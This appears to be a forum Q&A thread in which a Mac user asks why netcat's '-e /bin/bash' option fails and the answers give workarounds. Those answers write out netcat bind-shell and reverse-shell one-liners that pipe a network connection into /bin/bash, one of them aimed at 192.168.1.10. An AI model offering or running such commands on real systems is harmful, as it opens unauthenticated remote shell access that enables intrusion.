6

When I try to run nc -l 1337 -e /bin/bash, it says:

nc: invalid option -- e
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] 
[-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
      [-s source_ip_address] [-w timeout] [-X proxy_version]
      [-x proxy_address[:port]] [hostname] [port[s]]

I want to run commands remotely, but instead it just remotely prints text. Why is this not working and how can I fix it?

4
  • 1
    Mac OS is shipping with a bsd variant of netcat. I've not even found a way yet to get the version for /usr/bin/nc. But it's possible to install gnu netcat with i.e. homebrew which has this -e option. I have not found out a workaround how to get the same behaviour with the bsd nc command, or i'd add that as an answer.
    – hyph
    Commented Mar 19, 2017 at 21:10
  • Okay. I can't do that since I'm not the owner of my Mac... :(
    – anonymous
    Commented Mar 19, 2017 at 21:12
  • 2
    @KeeganKuhn I don't think you have to have any administrative rights. Building from the source might also be an option. Also see the client/server section in Ubuntu's netcat man page. While the version is different, the same approach should work with the FreeBSD flavour as well.
    – undercat
    Commented Mar 20, 2017 at 4:25
  • Submit that as an answer!
    – anonymous
    Commented Mar 28, 2017 at 0:24

2 Answers 2

4

You don't have to use nc -l 1337 -e /bin/bash. Instead, an alternative that works exactly the same is nc -l 1337 | /bin/bash outputs everything it receives into /bin/bash.

1

Or try nc target port | /bin/bash | nc target port

Example:

nc 192.168.1.10 4444 | /bin/bash | nc 192.168.1.10 4444

It will redirect what it receives from the first nc to /bin/bash and the output from /bin/bash to the second nc. It's a work-around, but it works. :)
Otherwise just install ncat.

0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .